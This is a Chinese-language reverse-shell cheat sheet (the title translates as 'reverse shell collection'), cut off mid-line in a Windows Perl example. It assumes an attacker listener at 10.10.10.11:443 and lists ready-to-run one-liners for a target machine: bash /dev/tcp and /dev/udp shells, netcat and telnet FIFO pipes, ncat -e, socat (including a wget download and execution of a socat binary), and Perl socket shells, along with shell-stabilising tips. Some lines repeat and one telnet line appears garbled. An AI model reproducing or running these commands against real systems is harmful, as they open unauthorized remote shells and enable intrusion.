反弹shell汇总

假设本机地址10.10.10.11，监听端口443。

Linux反弹shell解决乱码

ctrl+z 放置后台任务 设置原始格式

stty -echo raw

bg     //显示出来

fg    //调出前台使用

1、Bash环境下反弹TCP协议shell

首先在本地监听TCP协议443端口

nc -lvp 443

然后在靶机上执行如下命令：

bash -i >& /dev/tcp/10.10.10.11/443 0>&1

/bin/bash -i > /dev/tcp/10.10.10.11/443 0<& 2>&1

exec /bin/sh 0</dev/tcp/10.10.10.11/443 1>&0 2>&0

exec /bin/sh 0</dev/tcp/10.10.10.11/443 1>&0 2>&0

exec 5<>/dev/tcp/10.10.10.11/443;cat <&5 | while read line; do $line 2>&5 >&5; done

exec /bin/sh 0</dev/tcp/10.10.10.11/443 1>&0 2>&0

nc -u -lvp 443

0<&196;exec 196<>/dev/tcp/10.10.10.11/443; sh <&196 >&196 2>&196

2、Bash环境下反弹UDP协议shell:

首先在本地监听UDP协议443端口

nc -u -lvp 443

然后在靶机上执行如下命令：

sh -i >& /dev/udp/10.10.10.11/443 0>&1

3、使用Netcat反弹shell

首先在本地监听TCP协议443端口

nc -lvp 443

然后在靶机上执行如下命令：

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 10.10.10.11 443 > f

rm -f x; mknod x p && nc 10.10.10.11 443 0<x | /bin/bash 1>x

4、使用Ncat反弹shell

ncat 10.10.10.11 443 -e /bin/bash

首先在本地监听TCP协议443端口

nc -lvp 443

然后在靶机上执行如下命令：

ncat --udp 10.10.10.11 443 -e /bin/bash

5、利用Telnet反弹shell

首先在本地监听TCP协议443端口

nc -lvp 443

然后在靶机上执行如下命令：

rm -f /tmp/p; mknod /tmp/p p && telnet 10.10.10.11 443 0/tmp/p 2>&1

telnet 10.10.10.11 443 | /bin/bash | telnet 10.10.10.11 444

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 10.10.10.11 443 > f

rm -f x; mknod x p && telnet 10.10.10.11 443 0<x | /bin/bash 1>x

6、使用Socat反弹shell

首先在本地监听TCP协议443端口

socat file:`tty`,raw,echo=0 TCP-L:443

然后在靶机上执行如下命令：

socat tcp-connect:10.10.10.11:443 exec:"bash -li",pty,stderr,setsid,sigint,sane

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.11:443

7、利用Perl脚本反弹

首先在本地监听TCP协议443端口

nc -lvp 443

然后在靶机上执行如下命令：

perl -e 'use Socket;$i="10.10.10.11";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.11:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

win平台下执行：

perl -MIO -e '$c=new IO::Socket